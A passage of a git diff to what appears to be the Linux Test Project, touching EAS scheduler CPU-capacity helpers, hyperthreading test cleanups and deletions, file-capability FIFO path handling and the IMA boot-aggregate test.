+	if (!tmp1 || tmp1 == filebuf ) {
+		printf("Malformatted cap_states_file (1).\n%s\n", filebuf);
+		return -1;
+	}
+	tmp1 = strrchr(tmp1 - 1, '\t');
+	if (!tmp1 || tmp1 == filebuf) {
+		printf("Malformatted cap_states_file (2).\n%s\n", filebuf);
+		return -1;
+	}
+	tmp1 = strrchr(tmp1 - 1, '\t');
+	if (!tmp1 || tmp1 == filebuf) {
+		printf("Malformatted cap_states_file (3).\n%s\n", filebuf);
+		return -1;
+	}
+	/* tmp1 now points to tab after the capacity we want. */
+	*tmp1 = 0;
+	tmp2 = strrchr(tmp1 - 1, '\t');
+	if (!tmp2)
+		tmp2 = filebuf;
+	else
+		tmp2++;
+	if (sscanf(tmp2,"%d", cap) != 1) {
+		printf("Failed to parse capacity from cap_states.\n");
+		return -1;
+	}
+	free(filebuf);
+	if (close(cap_states_fd)) {
+		printf("Failed to close cap_states file.\n");
+		return -1;
+	}
+
+	return 0;
+}
+
+static int read_capacity_sysfs(int cpu, unsigned int *cap)
+{
+	char path[100];
+
+	sprintf(path, "/sys/devices/system/cpu/cpu%d/cpu_capacity", cpu);
+
+	return SAFE_FILE_LINES_SCANF(path, "%u", cap);
+}
+
+static int read_cpu_capacity(int cpu, unsigned int *cap)
+{
+	int ret = read_capacity_sched_domains(cpu, cap);
+
+	/*
+	 * Capacities are exposed in sched debug for android 4.9 and older.
+	 * Otherwise, upstream uses a sysfs interface.
+	 */
+	if (ret == -ENOENT)
+		ret = read_capacity_sysfs(cpu, cap);
+
+	if (ret)
+		perror(NULL);
+
+	return ret;
+}
+
+/*
+ * get_bigs = 0, search for smallest CPUs
+ * get_bigs = 1, search for CPUs other than the smallest CPUs
+ */
+int find_cpus_with_capacity(int get_bigs, cpu_set_t *cpuset)
+{
+	unsigned int cap, smallest = -1;
+	int i;
+
+	CPU_ZERO(cpuset);
+
+	for (i = 0; i < tst_ncpus(); i++) {
+		if (read_cpu_capacity(i, &cap))
+			return -1;
+
+		if (cap < smallest) {
+			smallest = cap;
+			CPU_ZERO(cpuset);
+			CPU_SET(i, cpuset);
+		} else if (cap == smallest) {
+			CPU_SET(i, cpuset);
+		}
+	}
+
+	if (!get_bigs)
+		return 0;
+
+	for (i = 0; i < tst_ncpus(); i++)
+		if (CPU_ISSET(i, cpuset))
+			CPU_CLR(i, cpuset);
+		else
+			CPU_SET(i, cpuset);
+
+	return 0;
+}
+
diff --git a/testcases/kernel/sched/eas/util.h b/testcases/kernel/sched/eas/util.h
new file mode 100644
index 0000000..2433a53
--- /dev/null
+++ b/testcases/kernel/sched/eas/util.h
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+
+#ifndef _LTP_EAS_UTIL_H_
+#define _LTP_EAS_UTIL_H_
+
+#include <linux/unistd.h>
+#include <sched.h>
+#include <stdio.h>
+
+#define USEC_PER_SEC 1000000
+
+#define TS_TO_USEC(x) (x.usec + x.sec * USEC_PER_SEC)
+
+#ifndef SCHED_DEADLINE
+#define SCHED_DEADLINE 6
+#endif
+
+#define gettid() syscall(__NR_gettid)
+
+#define ERROR_CHECK(x) \
+	if (x) \
+		fprintf(stderr, "Error at line %d", __LINE__);
+
+void affine(int cpu);
+void burn(unsigned int usec, int sleep);
+int find_cpus_with_capacity(int minmax, cpu_set_t * cpuset);
+
+#endif /* _LTP_EAS_UTIL_H_ */
diff --git a/testcases/kernel/sched/hyperthreading/ht_affinity/ht_affinity.c b/testcases/kernel/sched/hyperthreading/ht_affinity/ht_affinity.c
index 5ac0fa2..f6e9f27 100644
--- a/testcases/kernel/sched/hyperthreading/ht_affinity/ht_affinity.c
+++ b/testcases/kernel/sched/hyperthreading/ht_affinity/ht_affinity.c
@@ -46,7 +46,7 @@
 #define AFFINITY_NAME "affinity"
 #define PROCFS_PATH "/proc/"
 
-int HT_SetAffinity()
+int HT_SetAffinity(void)
 {
 	unsigned int mask;
 	pid_t pid;
@@ -145,7 +145,7 @@
 	return atol(buf);
 }
 
-int HT_GetAffinity()
+int HT_GetAffinity(void)
 {
 	unsigned int mask[2], mask1[2];
 	pid_t pid;
@@ -177,7 +177,7 @@
 		return 0;
 }
 
-int HT_InheritAffinity()
+int HT_InheritAffinity(void)
 {
 	unsigned int mask[2];
 	pid_t pid;
@@ -211,7 +211,7 @@
 }
 
 // return 0 means Pass, return 1 means Fail
-int main(int argc, char *argv[])
+int main(void)
 {
 
 #if (!defined __i386__ && !defined __x86_64__)
diff --git a/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c b/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c
index d6f3ef5..18f0862 100644
--- a/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c
+++ b/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c
@@ -16,7 +16,7 @@
 
 char buffer[BUFF_SIZE];
 
-int is_ht_cpu()
+int is_ht_cpu(void)
 {
 	/*Number of logic processor in a physical processor */
 	int smp_num_siblings = -1;
@@ -39,7 +39,7 @@
 
 /* return 0 means Pass,
  return 1 means ht is not enabled,*/
-int check_ht_capability()
+int check_ht_capability(void)
 {
 	int result;
 	if (is_ht_cpu())
@@ -57,7 +57,7 @@
 
 char buf[256];
 
-int get_cpu_count()
+int get_cpu_count(void)
 {
 	FILE *pfile;
 	int count;
diff --git a/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c b/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c
index a996b6d..7644e35 100644
--- a/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c
+++ b/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c
@@ -19,7 +19,7 @@
 
 char buffer[BUFF_SIZE];
 
-int is_ht_cpu()
+int is_ht_cpu(void)
 {
 	/*Number of logic processor in a physical processor */
 	int smp_num_siblings = -1;
@@ -41,7 +41,7 @@
 
 /*return 0 means Pass,
 return 1 means ht is not enabled*/
-int check_ht_capability()
+int check_ht_capability(void)
 {
 	int result;
 	if (is_ht_cpu()) {
@@ -61,7 +61,7 @@
 
 char buf[256];
 
-int get_cpu_count()
+int get_cpu_count(void)
 {
 	FILE *pfile;
 	int count;
diff --git a/testcases/kernel/sched/hyperthreading/ht_interrupt/.gitignore b/testcases/kernel/sched/hyperthreading/ht_interrupt/.gitignore
deleted file mode 100644
index b9e72b0..0000000
--- a/testcases/kernel/sched/hyperthreading/ht_interrupt/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/ht_interrupt
diff --git a/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile b/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile
deleted file mode 100644
index 2ff6f04..0000000
--- a/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    sched/hyperthreading/ht_interrupt testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-MAKE_TARGETS		:= ht_interrupt
-
-$(MAKE_TARGETS): $(patsubst $(abs_srcdir)/%.c,%.o,$(wildcard $(abs_srcdir)/*.c))
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_interrupt.c b/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_interrupt.c
deleted file mode 100644
index cab968c..0000000
--- a/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_interrupt.c
+++ /dev/null
@@ -1,117 +0,0 @@
-/***************************************************************************
-                          HTinterrupt.c  -  description
-                             -------------------
-    email                : sonic,zhang@intel.com
- ***************************************************************************/
-
-/***************************************************************************
- *                                                                         *
- *   This program is free software; you can redistribute it and/or modify  *
- *   it under the terms of the GNU General Public License as published by  *
- *   the Free Software Foundation; either version 2 of the License, or     *
- *   (at your option) any later version.                                   *
- *                                                                         *
- ***************************************************************************/
-#include "ht_utils.h"
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include "test.h"
-
-char *TCID = "ht_interrupt";
-int TST_TOTAL = 1;
-
-#define INTERRUPT_NAME	"/proc/interrupts"
-
-int HT_InterruptDistribution()
-{
-	FILE *pFile;
-	int ci[32], cj[32];
-	int cpucount, i;
-	int cmax, cmin, d;
-
-	tst_resm(TINFO, "Get interrupts distribution with HT.");
-
-	if ((cpucount = get_cpu_count()) <= 0) {
-		return 0;
-	}
-
-	if ((pFile = fopen(INTERRUPT_NAME, "r")) == NULL) {
-		return 0;
-	}
-
-	fgets(buf, 255, pFile);
-	fscanf(pFile, "%s %d %d %d %d %d %d %d %d \
-%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d \
-%d %d %d %d %d %d %d %d", buf, ci, ci + 1, ci + 2, ci + 3, ci + 4, ci + 5, ci + 6, ci + 7, ci + 8, ci + 9, ci + 10, ci + 11, ci + 12, ci + 13, ci + 14, ci + 15, ci + 16, ci + 17, ci + 18, ci + 19, ci + 20, ci + 21, ci + 22, ci + 23, ci + 24, ci + 25, ci + 26, ci + 27, ci + 28, ci + 29, ci + 30, ci + 31);
-
-	fclose(pFile);
-
-	for (i = 0; i < 10; i++) {
-		sleep(1);
-		printf(".");
-	}
-
-	if ((pFile = fopen(INTERRUPT_NAME, "r")) == NULL) {
-		return 0;
-	}
-
-	fgets(buf, 255, pFile);
-	fscanf(pFile, "%s %d %d %d %d %d %d %d %d \
-%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d \
-%d %d %d %d %d %d %d %d", buf, cj, cj + 1, cj + 2, cj + 3, cj + 4, cj + 5, cj + 6, cj + 7, cj + 8, cj + 9, cj + 10, cj + 11, cj + 12, cj + 13, cj + 14, cj + 15, cj + 16, cj + 17, cj + 18, cj + 19, cj + 20, cj + 21, cj + 22, cj + 23, cj + 24, cj + 25, cj + 26, cj + 27, cj + 28, cj + 29, cj + 30, cj + 31);
-
-	fclose(pFile);
-
-	printf("\n\n");
-	printf("Timer interrupt counts per CPU:\n");
-	d = cj[0] - ci[0];
-	printf("%d ", d);
-	cmax = cmin = d;
-	for (i = 1; i < cpucount; i++) {
-		d = cj[i] - ci[i];
-		printf("%d ", d);
-		if (cmax < d)
-			cmax = d;
-		if (cmin > d)
-			cmin = d;
-	}
-
-	printf("\n\n");
-	printf("max value: %d\n", cmax);
-	printf("min value: %d\n", cmin);
-	printf("\n");
-
-	if (cmin == 0 || cmax / cmin > 10) {
-		return 0;
-	} else {
-		return 1;
-	}
-}
-
-// return 0 means Pass, return 1 means Fail.
-int main(int argc, char *argv[])
-{
-	tst_resm(TINFO, "Begin: HyperThreading Interrupt");
-
-#if (!defined __i386__ && !defined __x86_64__)
-	tst_brkm(TCONF, NULL,
-		 "This test suite can only execute on x86 architecture.");
-#else
-	if (!check_ht_capability()) {
-		if (HT_InterruptDistribution())
-			tst_resm(TPASS,
-				 "Interrupt distribution is balanceable.");
-		else
-			tst_resm(TFAIL,
-				 "Interrupt distribution is not balanceable.");
-	} else {
-		tst_brkm(TCONF, NULL, "HT is not enabled or not supported.");
-	}
-#endif
-
-	tst_resm(TINFO, "End: HyperThreading Interrupt");
-
-	tst_exit();
-}
diff --git a/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.c b/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.c
deleted file mode 100644
index bd2d373..0000000
--- a/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.c
+++ /dev/null
@@ -1,252 +0,0 @@
-
-#include "ht_utils.h"
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <alloca.h>
-#include <string.h>
-#include <linux/unistd.h>
-#include "ltp_cpuid.h"
-
-#define PROC_PATH	"/proc"
-#define BUFF_SIZE	8192
-#define PROCESSOR_STR	"processor"
-#define PACKAGE_STR	"cpu_package"
-#define HT_FLAG "ht"
-#define FLAG_STR "flags"
-
-#define MAX_CPU_NUM 128
-
-char buffer[BUFF_SIZE];
-
-int is_cmdline_para(const char *para)
-{
-	FILE *fp;
-
-	if ((fp = fopen("/proc/cmdline", "r")) != NULL && para != NULL) {
-		while (fgets(buffer, BUFF_SIZE - 1, fp) != NULL) {
-			if (strstr(buffer, para) != NULL) {
-				fclose(fp);
-				return 1;
-			}
-		}
-	}
-	/* If fopen succeeds and the pointer para is NULL,
-	 * It won't enter the above if-block.
-	 * so need to close fp here.
-	 */
-	if (fp != NULL)
-		fclose(fp);
-
-	return 0;
-}
-
-int is_ht_kernel()
-{
-	FILE *fp;
-
-	if ((fp = fopen("/proc/cpuinfo", "r")) != NULL) {
-		while (fgets(buffer, BUFF_SIZE - 1, fp) != NULL) {
-			if (strncmp(buffer, PACKAGE_STR, strlen(PACKAGE_STR)) ==
-			    0) {
-				fclose(fp);
-				return 1;
-			}
-		}
-		fclose(fp);
-	}
-
-	return 0;
-}
-
-int is_ht_cpu()
-{
-	/*Number of logic processor in a physical processor */
-	int smp_num_siblings = -1;
-	/*ht flag */
-	int ht = -1;
-	unsigned int eax, ebx, ecx, edx;
-	cpuid(1, &eax, &ebx, &ecx, &edx);
-	smp_num_siblings = (ebx & 0xff0000) >> 16;
-	ht = (edx & 0x10000000) >> 28;
-
-	if (ht == 1 && smp_num_siblings == 2) {
-//              printf("The processor in this system supports HT\n");
-		return 1;
-	} else {
-//              printf("The processor in this system does not support HT\n");
-		return 0;
-	}
-}
-
-int is_ht_enabled()
-{
-	int cpu_map[MAX_CPU_NUM];
-	/*A bit-map shows whether a 'logic' processor has ht flag */
-	int ht_cpu[MAX_CPU_NUM];
-	int logic_cpu_num = 0;
-	int package = -1;
-	int cpu_id = -1;
-	char *ht_flag = NULL;
-	int i = 0;
-	int j = 0;
-	int k = 0;
-
-	FILE *fp;
-	char *proc_cpuinfo =
-	    (char *)alloca(strlen(PROC_PATH) + sizeof("/cpuinfo"));
-	strcat(strcpy(proc_cpuinfo, PROC_PATH), "/cpuinfo");
-
-	if ((fp = fopen(proc_cpuinfo, "r")) != NULL) {
-		while (fgets(buffer, BUFF_SIZE - 1, fp) != NULL) {
-			if (strncmp
-			    (buffer, PROCESSOR_STR,
-			     strlen(PROCESSOR_STR)) == 0) {
-				sscanf(buffer, PROCESSOR_STR "\t: %d", &cpu_id);
-				ht_cpu[cpu_id] = 0;
-				while (fgets(buffer, BUFF_SIZE - 1, fp) != NULL) {
-					if (strncmp
-					    (buffer, PACKAGE_STR,
-					     strlen(PACKAGE_STR)) == 0) {
-						sscanf(buffer,
-						       PACKAGE_STR "\t: %d",
-						       &package);
-						cpu_map[cpu_id] = package;
-						printf("cpu_map[%d]=%d\n",
-						       cpu_id, package);
-					}
-					if (strncmp
-					    (buffer, FLAG_STR,
-					     strlen(FLAG_STR)) == 0) {
-						ht_flag = buffer;
-						while (*ht_flag != '\0') {
-							/*printf("ht_flag=%s",ht_flag); */
-							if (strncmp
-							    (ht_flag, HT_FLAG,
-							     strlen(HT_FLAG)) ==
-							    0) {
-								ht_cpu[cpu_id] =
-								    1;
-								break;
-							}
-							ht_flag++;
-						}
-						printf("ht_cpu[%d]=%d\n",
-						       cpu_id, ht_cpu[cpu_id]);
-						logic_cpu_num += 1;
-						break;
-					}
-				}
-			}
-		}
-	} else
-		return 0;
-
-	fclose(fp);
-
-	for (i = 0; i < logic_cpu_num; i++) {
-		if (ht_cpu[i] == 1) {
-			for (j = i + 1; j < logic_cpu_num; j++) {
-				if (cpu_map[i] == cpu_map[j]) {
-					for (k = j + 1; k < logic_cpu_num; k++) {
-						if (cpu_map[j] == cpu_map[k]) {
-							/* Not proper HT support, with 3 logic processor in 1 cpu package */
-							return 0;
-						}
-					}
-					if (ht_cpu[j] == 1) {
-						return 1;
-					} else
-						return 0;
-				}
-			}
-			/* in this case, processor[i] has ht flag, but is not ht enabled */
-			if (j == logic_cpu_num) {
-				return 0;
-			}
-		}
-	}
-	if (i == logic_cpu_num) {
-		return 0;
-	}
-	return 0;
-}
-
-// return 0 means Pass,
-// return 1 means ht is not enabled,
-// return 2 means CPU is not support ht,
-// return 3 mean kernel is not support ht.
-int check_ht_capability()
-{
-	int result;
-
-	if (is_ht_kernel()) {
-		if (is_ht_cpu()) {
-			if (is_ht_enabled())
-				result = 0;	//HT is enabled by default in this system.
-			else
-				result = 1;	//HT is not enabled by default in this system.
-		} else
-			result = 2;	//This processor does not support HT.
-	} else
-		result = 3;	//HT feature is not included in this Linux Kernel.
-
-	return result;
-}
-
-#define PROCFS_PATH "/proc/"
-#define CPUINFO_PATH "/proc/cpuinfo"
-#define CPU_NAME "processor"
-#define STAT_NAME "stat"
-
-char buf[256];
-
-int get_cpu_count()
-{
-	FILE *pfile;
-	int count;
-
-	if ((pfile = fopen(CPUINFO_PATH, "r")) == NULL)
-		return 0;
-
-	count = 0;
-
-	while (fgets(buf, 255, pfile) != NULL) {
-		if (strncmp(buf, CPU_NAME, strlen(CPU_NAME)) == 0)
-			count++;
-	}
-
-	fclose(pfile);
-
-	return count;
-}
-
-int get_current_cpu(pid_t pid)
-{
-	int cpu = -1;
-	int da;
-	char str[100];
-	char ch;
-
-	FILE *pfile;
-
-	sprintf(buf, "%s%d/%s%c", PROCFS_PATH, pid, STAT_NAME, 0);
-
-	if ((pfile = fopen(buf, "r")) == NULL)
-		return -1;
-
-	if (fscanf
-	    (pfile,
-	     "%d %s %c %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d",
-	     &da, str, &ch, &da, &da, &da, &da, &da, &da, &da, &da, &da, &da,
-	     &da, &da, &da, &da, &da, &da, &da, &da, &da, &da, &da, &da, &da,
-	     &da, &da, &da, &da, &da, &da, &da, &da, &da, &da, &da, &da,
-	     &cpu) <= 0) {
-		fclose(pfile);
-		return -1;
-	}
-
-	fclose(pfile);
-
-	return cpu;
-}
diff --git a/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.h b/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.h
deleted file mode 100644
index 6b484e1..0000000
--- a/testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.h
+++ /dev/null
@@ -1,21 +0,0 @@
-
-#ifndef _HTUTILS_H_
-#define _HTUTILS_H_
-
-#include <stdlib.h>
-#include <sys/types.h>
-
-int is_cmdline_para(const char *para);
-
-// return 0 means Pass,
-// return 1 means ht is not enabled,
-// return 2 means CPU is not support ht,
-// return 3 mean kernel is not support ht.
-int check_ht_capability();
-
-extern char buf[];
-
-int get_cpu_count();
-int get_current_cpu(pid_t pid);
-
-#endif
diff --git a/testcases/kernel/sched/process_stress/process.c b/testcases/kernel/sched/process_stress/process.c
index e0a1e38..f23dcbb 100644
--- a/testcases/kernel/sched/process_stress/process.c
+++ b/testcases/kernel/sched/process_stress/process.c
@@ -34,7 +34,6 @@
 #include <sys/timers.h>
 #else
 #include <sys/stat.h>
-#include <time.h>
 #include <sys/time.h>
 #include <sys/ipc.h>
 #endif
diff --git a/testcases/kernel/sched/sched_stress/sched_tc1.c b/testcases/kernel/sched/sched_stress/sched_tc1.c
index c7c81d6..c771ef4 100644
--- a/testcases/kernel/sched/sched_stress/sched_tc1.c
+++ b/testcases/kernel/sched/sched_stress/sched_tc1.c
@@ -192,7 +192,7 @@
 +---------------------------------------------------------------------*/
 void signal_handler(int signal)
 {
-	printf("signal recieved is %d\n", signal);
+	printf("signal received is %d\n", signal);
 	if (signal == SIGUSR1) {
 		signaled++;
 		if (debug)
diff --git a/testcases/kernel/security/filecaps/filecaps_common.h b/testcases/kernel/security/filecaps/filecaps_common.h
new file mode 100644
index 0000000..920f6ac
--- /dev/null
+++ b/testcases/kernel/security/filecaps/filecaps_common.h
@@ -0,0 +1,22 @@
+#include <limits.h>
+#include <stdlib.h>
+
+static char *fifofile;
+
+static const char *get_caps_fifo(void)
+{
+	if (!fifofile) {
+		fifofile = getenv("FIFOFILE");
+
+		if (!fifofile) {
+			const char *tmpdir = getenv("TMPDIR");
+
+			if (!tmpdir)
+				tmpdir = "/tmp";
+			fifofile = malloc(PATH_MAX);
+			snprintf(fifofile, PATH_MAX, "%s/caps_fifo", tmpdir);
+		}
+	}
+
+	return fifofile;
+}
diff --git a/testcases/kernel/security/filecaps/filecapstest.sh b/testcases/kernel/security/filecaps/filecapstest.sh
index 213b095..9bb5702 100755
--- a/testcases/kernel/security/filecaps/filecapstest.sh
+++ b/testcases/kernel/security/filecaps/filecapstest.sh
@@ -22,9 +22,8 @@
 echo "Running in:"
 #rm -f print_caps
 #cp $LTPROOT/testcases/bin/print_caps .
-#FIFOFILE="$LTPROOT/testcases/bin/caps_fifo"
-TMP=${TMP:=/tmp}
-FIFOFILE="$TMP/caps_fifo"
+FIFOFILE="${TMPDIR:=/tmp}/caps_fifo"
+export FIFOFILE
 rm -f $FIFOFILE
 mkfifo $FIFOFILE
 chmod 777 $FIFOFILE
diff --git a/testcases/kernel/security/filecaps/print_caps.c b/testcases/kernel/security/filecaps/print_caps.c
index ee7a5f5..26fe55c 100644
--- a/testcases/kernel/security/filecaps/print_caps.c
+++ b/testcases/kernel/security/filecaps/print_caps.c
@@ -37,7 +37,7 @@
 #include <sys/capability.h>
 #endif
 
-#define FIFOFILE "/tmp/caps_fifo"
+#include "filecaps_common.h"
 
 int main(int argc, char *argv[])
 {
@@ -55,7 +55,7 @@
 		exit(1);
 	}
 
-	fd = open(FIFOFILE, O_WRONLY);
+	fd = open(get_caps_fifo(), O_WRONLY);
 	if (!fd) {
 		perror("print_caps: open fifo");
 		exit(2);
diff --git a/testcases/kernel/security/filecaps/verify_caps_exec.c b/testcases/kernel/security/filecaps/verify_caps_exec.c
index 2c5cc0b..090ac5c 100644
--- a/testcases/kernel/security/filecaps/verify_caps_exec.c
+++ b/testcases/kernel/security/filecaps/verify_caps_exec.c
@@ -43,6 +43,7 @@
 #endif
 #include <sys/prctl.h>
 #include "test.h"
+#include "filecaps_common.h"
 
 #define TSTPATH "print_caps"
 char *TCID = "filecaps";
@@ -119,22 +120,21 @@
 	return ret;
 }
 
-#define FIFOFILE "/tmp/caps_fifo"
 static void create_fifo(void)
 {
 	int ret;
 
-	ret = mkfifo(FIFOFILE, S_IRWXU | S_IRWXG | S_IRWXO);
+	ret = mkfifo(get_caps_fifo(), S_IRWXU | S_IRWXG | S_IRWXO);
 	if (ret == -1 && errno != EEXIST)
 		tst_brkm(TFAIL | TERRNO, NULL, "failed creating %s\n",
-			 FIFOFILE);
+			 get_caps_fifo());
 }
 
 static void write_to_fifo(const char *buf)
 {
 	int fd;
 
-	fd = open(FIFOFILE, O_WRONLY);
+	fd = open(get_caps_fifo(), O_WRONLY);
 	write(fd, buf, strlen(buf));
 	close(fd);
 }
@@ -144,7 +144,7 @@
 	int fd;
 
 	memset(buf, 0, 200);
-	fd = open(FIFOFILE, O_RDONLY);
+	fd = open(get_caps_fifo(), O_RDONLY);
 	if (fd < 0)
 		tst_brkm(TFAIL | TERRNO, NULL, "Failed opening fifo\n");
 	read(fd, buf, 199);
@@ -186,7 +186,7 @@
 				 "got a bad seqno (c=%d, s=%d, seqno=%d)", c, s,
 				 seqno);
 		}
-		p = index(buf, '.');
+		p = strchr(buf, '.');
 		if (!p)
 			tst_brkm(TFAIL, NULL,
 				 "got a bad message from print_caps\n");
diff --git a/testcases/kernel/security/integrity/.gitignore b/testcases/kernel/security/integrity/.gitignore
index 1759bc9..184aa78 100644
--- a/testcases/kernel/security/integrity/.gitignore
+++ b/testcases/kernel/security/integrity/.gitignore
@@ -1,3 +1,2 @@
 /ima/src/ima_boot_aggregate
-/ima/src/ima_measure
 /ima/src/ima_mmap
diff --git a/testcases/kernel/security/integrity/ima/src/Makefile b/testcases/kernel/security/integrity/ima/src/Makefile
index 0f4cf8c..f7a8185 100644
--- a/testcases/kernel/security/integrity/ima/src/Makefile
+++ b/testcases/kernel/security/integrity/ima/src/Makefile
@@ -24,6 +24,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-LDLIBS			+= $(CRYPTO_LIBS) -ldl
+ima_boot_aggregate: LDLIBS += $(CRYPTO_LIBS) -ldl
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
index f7ae77c..f6e7be0 100644
--- a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
+++ b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
@@ -21,6 +21,7 @@
 #include <fcntl.h>
 #include <string.h>
 #include <unistd.h>
+#include <limits.h>
 
 #include "config.h"
 #include "test.h"
@@ -30,7 +31,7 @@
 #if HAVE_LIBCRYPTO
 #include <openssl/sha.h>
 
-#define MAX_EVENT_SIZE 500
+#define MAX_EVENT_SIZE (1024*1024)
 #define EVENT_HEADER_SIZE 32
 #define MAX_EVENT_DATA_SIZE (MAX_EVENT_SIZE - EVENT_HEADER_SIZE)
 #define NUM_PCRS 8		/*  PCR registers 0-7 in boot aggregate */
@@ -56,7 +57,7 @@
 			unsigned char digest[SHA_DIGEST_LENGTH];
 			u_int16_t len;
 		} header;
-		unsigned char data[MAX_EVENT_DATA_SIZE];
+		char *data;
 	} event;
 	struct {
 		unsigned char digest[SHA_DIGEST_LENGTH];
@@ -80,6 +81,12 @@
 	for (i = 0; i < NUM_PCRS; i++)
 		memset(&pcr[i].digest, 0, SHA_DIGEST_LENGTH);
 
+	event.data = malloc(MAX_EVENT_DATA_SIZE);
+	if (!event.data) {
+		printf("Cannot allocate memory\n");
+		return 1;
+	}
+
 	/* Extend the pseudo PCRs with the event digest */
 	while (fread(&event, sizeof(event.header), 1, fp)) {
 		if (debug) {
@@ -90,13 +97,16 @@
 		SHA1_Update(&c, pcr[event.header.pcr].digest, 20);
 		SHA1_Update(&c, event.header.digest, 20);
 		SHA1_Final(pcr[event.header.pcr].digest, &c);
+#if MAX_EVENT_DATA_SIZE < USHRT_MAX
 		if (event.header.len > MAX_EVENT_DATA_SIZE) {
-			printf("Error event too long");
+			printf("Error event too long\n");
 			break;
 		}
+#endif
 		fread(event.data, event.header.len, 1, fp);
 	}
 	fclose(fp);
+	free(event.data);
 
 	/* Extend the boot aggregate with the pseudo PCR digest values */
 	memset(&boot_aggregate, 0, SHA_DIGEST_LENGTH);
diff --git a/testcases/kernel/security/integrity/ima/src/ima_measure.c b/testcases/kernel/security/integrity/ima/src/ima_measure.c
deleted file mode 100644
index 3aa5649..0000000
--- a/testcases/kernel/security/integrity/ima/src/ima_measure.c
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2008
- *
- * Authors:
- * Reiner Sailer <sailer@watson.ibm.com>
- * Mimi Zohar <zohar@us.ibm.com>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation, version 2 of the
- * License.
- *
- * File: ima_measure.c
- *
- * Calculate the SHA1 aggregate-pcr value based on the IMA runtime
- * binary measurements.
- */
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <string.h>
-#include <unistd.h>
-
-#include "config.h"
-#include "test.h"
-
-char *TCID = "ima_measure";
-
-#if HAVE_LIBCRYPTO
-#include <openssl/sha.h>
-
-#define TCG_EVENT_NAME_LEN_MAX	255
-
-int TST_TOTAL = 1;
-
-static int verbose;
-
-#define print_info(format, arg...) \
-	if (verbose) \
-		printf(format, ##arg)
-
-static u_int8_t zero[SHA_DIGEST_LENGTH];
-static u_int8_t fox[SHA_DIGEST_LENGTH];
-
-struct event {
-	struct {
-		u_int32_t pcr;
-		u_int8_t digest[SHA_DIGEST_LENGTH];
-		u_int32_t name_len;
-	} header;
-	char name[TCG_EVENT_NAME_LEN_MAX + 1];
-	struct {
-		u_int8_t digest[SHA_DIGEST_LENGTH];
-		char filename[TCG_EVENT_NAME_LEN_MAX + 1];
-	} ima_data;
-	int filename_len;
-};
-
-static void display_sha1_digest(u_int8_t * digest)
-{
-	int i;
-
-	for (i = 0; i < 20; i++)
-		print_info(" %02X", (*(digest + i) & 0xff));
-}
-
-/*
- * Calculate the sha1 hash of data
- */
-static void calc_digest(u_int8_t * digest, int len, void *data)
-{
-	SHA_CTX c;
-
-	/* Calc template hash for an ima entry */
-	memset(digest, 0, sizeof *digest);
-	SHA1_Init(&c);
-	SHA1_Update(&c, data, len);
-	SHA1_Final(digest, &c);
-}
-
-static int verify_template_hash(struct event *template)
-{
-	int rc;
-
-	rc = memcmp(fox, template->header.digest, sizeof fox);
-	if (rc != 0) {
-		u_int8_t digest[SHA_DIGEST_LENGTH];
-
-		memset(digest, 0, sizeof digest);
-		calc_digest(digest, sizeof template->ima_data,
-			    &template->ima_data);
-		rc = memcmp(digest, template->header.digest, sizeof digest);
-		return rc != 0 ? 1 : 0;
-	}
-	return 0;
-}
-
-/*
- * ima_measurements.c - calculate the SHA1 aggregate-pcr value based
